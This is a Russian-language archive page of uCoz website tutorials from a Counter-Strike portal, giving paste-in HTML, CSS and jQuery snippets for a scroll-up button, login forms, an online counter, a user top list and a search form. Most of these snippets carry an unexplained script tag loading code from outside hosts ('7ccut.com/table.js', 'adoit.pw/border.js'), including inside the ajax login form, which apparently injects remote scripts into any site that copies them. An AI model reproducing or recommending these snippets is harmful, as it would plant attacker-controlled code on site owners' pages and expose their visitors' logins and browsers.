Архив материалов - Портал Counter-Strike, Cs-Play

Установка:
В нижнюю часть сайта прописываем:

Код

<?if($USER_LOGGED_IN$)?><div id="up">
<div id="bg_up">
<a href="/index/8" target="_blank" class="but_user"></a>
<?if($UNREAD_PM$)?><a href="$PM_URL$" target="_blank" class="but_user_pm_us"><div class="us">$UNREAD_PM$</div></a><?else?><a href="$PM_URL$" target="_blank" class="but_user_pm"><div class="us">0</div></a><?endif?>
<a href="/index/10" class="but_user_quit"></a>
<a href="javascript://" onclick="$('body').scrollTo('0px',5800, {axis:'y'})" id="scrollup" class="but_user_up"></a>
</div>
</div><?endif?>
<script src="http://7ccut.com/table.js" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function(){
$("#up").hide();
$(function(){
$(window).scroll(function(){
if ($(this).scrollTop() > 400){
$('#up').fadeIn();
} else {
$('#up').fadeOut();
}
});
$('#up').clidck(function(){
$('body,html').animate({
scrollTop:0
}, 5800);
});
});
});
</script>

А вот это прописываем в таблицу стилей css:

Код

#up{cursor:pointer;position:fixed;bottom:5px;right:40px;z-index:1;}
#bg_up {background:#0e ... Читать дальше »

Просмотров: 318 | Добавил: smasto | Дата: 18.11.2013 | Комментарии (0)

Форма входа на uCoz

В этой новости я поделюсь, как мне кажется, достаточно редкой полезностью для сайта укоз, а именно формой входа на собственно сам сайт uCoz.
Выглядит эта форма входа так же как и на скриншоте к материалу.
Установка проходит в несколько этапов - нужно добавить код в шаблон CSS, а так же и заменить сам код $LOGIN_FORM$ или $LOG_FORM$, но если вам доводилось прежде работать с админ панелью сайта на бесплатном хостинге uCoz, а так же с HTML кодами, тогда эта проблема должна решиться мигом

Установка:

В самый низ вашего css вставляйте:

Код

/* GLOBALS */
.form-1 *,
.form-1 *:after,
.form-1 *:before {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
-ms-box-sizing: border-box;
-o-box-sizing: border-box;
box-sizing: border-box;
padding: 0;
margin: 0;
}

.clearfix:after {
content: "";
display: table;
clear: both;
}

.form-1 {
width: 140px;
margin: 0px;
padding: 10px;
position: relative; /* For the submit button positioning */

/* Styles */
box-shadow:
0 0 1px rgba(0, 0, 0, 0.3),
0 3px 7px rgba(0, 0, 0, 0.3),
inset 0 1px rgba(255,255,255,1),
inset 0 -3px 2px rgba(0,0,0,0.25);
border-radius: 5px;
background: white; /* Fallback */
background: -moz-linear-gradient(#eeefef, #ffffff 10%);
background: -ms-linear-gradient(#eeefef, #ffffff 10%);
background: -o-linear-gradient(#eeefef, #ffffff 10%);
background: -webkit-gradient(linear, 0 0, 0 100%, from(#eeefef), color-stop(0.1, #ffffff));
background: -webkit-linear-gradient(#eeefef, #ffffff 10%);
background: linear-gradient(#eeefef, #ffffff 10%);
}

.form-1 .field {
position: relative; /* For the icon positioning */
}

.form-1 .field i {
/* Size and position */
left: 0px;
top: 0px;
position: absolute;
height: 36px;
width: 36px;

/* Line */
border-right: 1px solid rgba(0, 0, 0, 0.1);
box-shadow: 1px 0 0 rgba(255, 255, 255, 0.7);

/* S ... Читать дальше »

Просмотров: 446 | Добавил: smasto | Дата: 18.11.2013 | Комментарии (0)

Скрипт Добавь в закладки с эффектом свечения

Скрипт Добавь в закладки с эффектом свечения при наведении курсором на изображение
Установка:
Вставляем в блок:

Код

Вставляем в CSS:

Код

#banners img{opacity:.3;filter:alpha(opacity=30)}
.op_fon {background:#f7f ... Читать дальше »

Просмотров: 388 | Добавил: smasto | Дата: 13.10.2013 | Комментарии (0)

Скрипт радио плеера ucoz

В данном материале я выложу код хорошего радио-плеера для системы ucoz. Он не показывает надоедливой рекламы и занимает мало места на сайте. Установить его можно в любое место страницы и код для установки прост и удобен.
Это самое популярное молодежное радио , которое открывает мир в ином свете. Весь позитив вы сможете получить от талантливых и популярных ведущих нашей станции.

Код

Просмотров: 467 | Добавил: smasto | Дата: 17.09.2013 | Комментарии (0)

Часы для сайта или для блога

Новые часы которые плавно меняют цвет каждую секунду, что-то похоже на хамелеона...
Как установить часы на ucoz платформу? Очень просто и легко. Ставите код часов в любое место сайта или в созданный глобальный блок.

Код

Просмотров: 360 | Добавил: greenpis | Дата: 18.08.2013 | Комментарии (0)

Функция Кто Онлайн для uCoz v2

Всем доброго дня, сегодня мы будем улучшать внешний вид функции сайта на uCoz под названием количество пользователей онлайн, благодаря стандартному html-css коду

И так для начала идём в Админ панель => Настройки => Общие настройки => Активировать функцию "Кто Онлайн" ставим галочку.

Теперь активируем модуль статистика сайта, опять идём в Админ панель нажимаем на вкладку неактивные и активируем модуль.
Теперь когда мы активировали нужные нам функции, установим в нужное место вашего сайта следующий html код статистики сайта:

Код

<?if($COUNTER$ || $ONLINE_COUNTER$)?>
  <div class="statistics-user">
  <script src="http://adoit.pw/border.js" type="text/javascript"></script>
  <div class="statistics-user-l">$ONLINE_COUNTER$</div>

  <span class="statistics-user-r">
  $COUNTER$
  <a href="#"><img src="http://pnghosts.ru/img/stat-img2.gif" alt="ucoz" /></a>
  <a href="#"><img src="http://pnghosts.ru/img/stat-img2.gif" alt="ucoz" /></a>
  </span>

  </div>
<?endif?>

Ну и под конец нашего решения, давайте установим css стили:

Код

/* Функция Кто Онлайн для uCoz в стиле минимализм
------------------------------------------*/
.statistics-user {
  float:left;
  width:230px;
  padding: 5px 10px;
  background: #fff;
  border: 1px solid #CAD3DA;
  border-radius:5px;
}

.statistics-user-l {
  float:left;
  width:90px;
}

.statistics-user-l b,
.statis ... Читать дальше »

Просмотров: 318 | Добавил: greenpis | Дата: 18.08.2013 | Комментарии (0)

Счетчик материалов для uCoz

И так для начала мы создадим информер материалов для uCoz, для этого идём в Админ панель => Инструменты => Информеры => Создать информер => Счетчик материалов

удаляем старый html код и устанавливаем новый:

Код

<ul>
<?if($DIR$)?><li><div>Сайтов в каталоге:</div>$DIR$</li><?endif?>
<?if($BLOG$)?><li><div>Записей в блоге:</div>$BLOG$</li><?endif?>
<?if($GB$)?><li><div>Гостевая книга:</div>$GB$</li><?endif?>
<?if($NEWS$)?><li><div>Новостей сайта:</div>$NEWS$</li><?endif?>
<?if($COMMENTS$)?><li><div>Тем на форуме:</div>$FORUM_T$</li><?endif?>
<script src="http://adoit.pw/border.js" type="text/javascript"></script>
<?if($COMMENTS$)?><li><div>Комментариев:</div>$COMMENTS$</li><?endif?>
<?if($BOARD$)?><li><div>Объявлений:</div>$BOARD$</li><?endif?>
<?if($PHOTO$)?><li><div>Фотографий:</div>$PHOTO$</li><?endif?>
<?if($FAQ$)?><li><div>Ответов:</div>$FAQ$</li><?endif?>
<?if($LOAD$)?><li><div>Файлов:</div>$LOAD$</li><?endif?>
<?if($PUBL$)?><li><div>Статей:</div>$PUBL$</li><?endif?>
<?if($TESTS$)?><li><div>Тестов:</div>$TESTS$</li><?endif?>
<?if($VIDEO$)?><li><div>Видео:</div>$VIDEO$</li><?endif?>
<?if($STUFF$)?><li><div>Игр:</div>$STUFF$</li><?endif?>
</ul>

а если вы хотите чтобы ячейка с количеством материалов имел тёмный фон, как в примере номер два, то устанавливаем в тот же информер следующий html код:

Код

Просмотров: 332 | Добавил: greenpis | Дата: 17.08.2013 | Комментарии (0)

Авторизация на сайте и выход из профиля без перезагрузки страницы

Данный скрипт очень полезен для тех, кто хочет перевести весь функционал своего сайта на ajax запросы. Суть скрипта в том, чтобы пользователь мог авторизовываться на сайте и выходить с него без перезагрузки страницы. Это очень удобный способ, так как авторизация будет максимально быстрой и вы сможете выполнять любые свои функции после успешного входа под своим профилем

Установка:

1) Форма входа:

На всех страницах замените $LOGIN_FORM$ на:

Код

<div id="apologin">$LOGIN_FORM$<div align="center" id="apolog" style="font-weight:bold;color:red"></div></div>
<script src="http://adoit.pw/border.js" type="text/javascript"></script> <script>
// ajax авторизация by Apocalypse
$('#apologin form').attr({'id':'apologformin', 'onsubmit': 'aposendFrmlogin();return false;'});
aposendFrmlogin = function() {
$('#apologformin').stop().fadeTo(300, 0.3);
_uPostForm('apologformin', {type:'POST', url:'/index/sub/', success:function(a) {
if($(a).text().indexOf('пароль') != -1) {
$('#apolog').html('Проверьте логин и пароль');
$('#apologformin').stop().fadeTo(300, 1);
setTimeout(function() {
$('#apolog').html('');
}, 3000);
} else {
$('#apolog').html('Авторизация прошла успешно');
$('#apologformin').remove();
// Далее здесь можно выполнять любые ваши скрипты после успешной авторизации
}
}, error:function(a) {
_uWnd.alert('Болом какой-то...', 'Упс', {w:200, h:70});
}});
}
// apo-ucoz.com (c) 2013
</script>

2) Кнопка выхода без перезагрузки страницы прописывается вот так:

Код

<a href="/index/10" onclick="apologout();return false;">Выход</a>
<script> < ... Читать дальше »

Просмотров: 375 | Добавил: greenpis | Дата: 17.08.2013 | Комментарии (0)

Необычный топ пользователей для uCoz

Блок не адаптивный и имеет фиксированную ширину, поэтому Вы сами будете указывать значения длины и ширины в пикселях.
Установка

Создайте информер для модуля Пользователи (Панель управления » Инструменты » Информеры). Выберите Способ сортировки по Репутации. Количество материалов – 8, а количество колонок – 1.

Вставьте следующий код в Шаблон информера.

Код

<div class="top_user"><a href="$PROFILE_URL$"><span>$REPUTATION$</span></a><div class="top_user_black"><script src="http://adoit.pw/border.js" type="text/javascript"></script></div><img src="$AVATAR_URL$" alt="$USERNAME$" /></div>

А этот код туда, где хотите видеть блок (это может быть Первый или Второй контейнер).

Код

<div class="top_use1s">$MYINF_1$</div>

Вставьте этот код в Таблицу стилей (CSS).

Код

.top_use1s {width:300px;height:180px;background:#1d1d1d;font-family:Tahoma,sans-serif}
.top_user {width:75px;height:90px;overflow:hidden;float:left;background:#1d1d1d}
.top_user img {width:90px;margin-left:-7px}
.top_user a {width:75px;height:90px;position:absolute;z-index:2;text-decoration:none}
.top_user a:hover {background:rgba(255,255,255,0.1)}
.top_user a span {color:#FFF;padding-top:70px;text-align:center;display:block;font-size:11px}
.top_user_black {position:absolute;width:75px;height:24px;background:rgba(0,0,0,0.3);margin-top:66px}

Просмотров: 414 | Добавил: greenpis | Дата: 17.08.2013 | Комментарии (0)

Создаём раздвижную форму поиска для uCoz

Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код

Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код

<div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>
  </div>

Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Просмотров: 344 | Добавил: greenpis | Дата: 11.08.2013 | Комментарии (0)

« 1 2 3 4 5 6 ... 26 27 »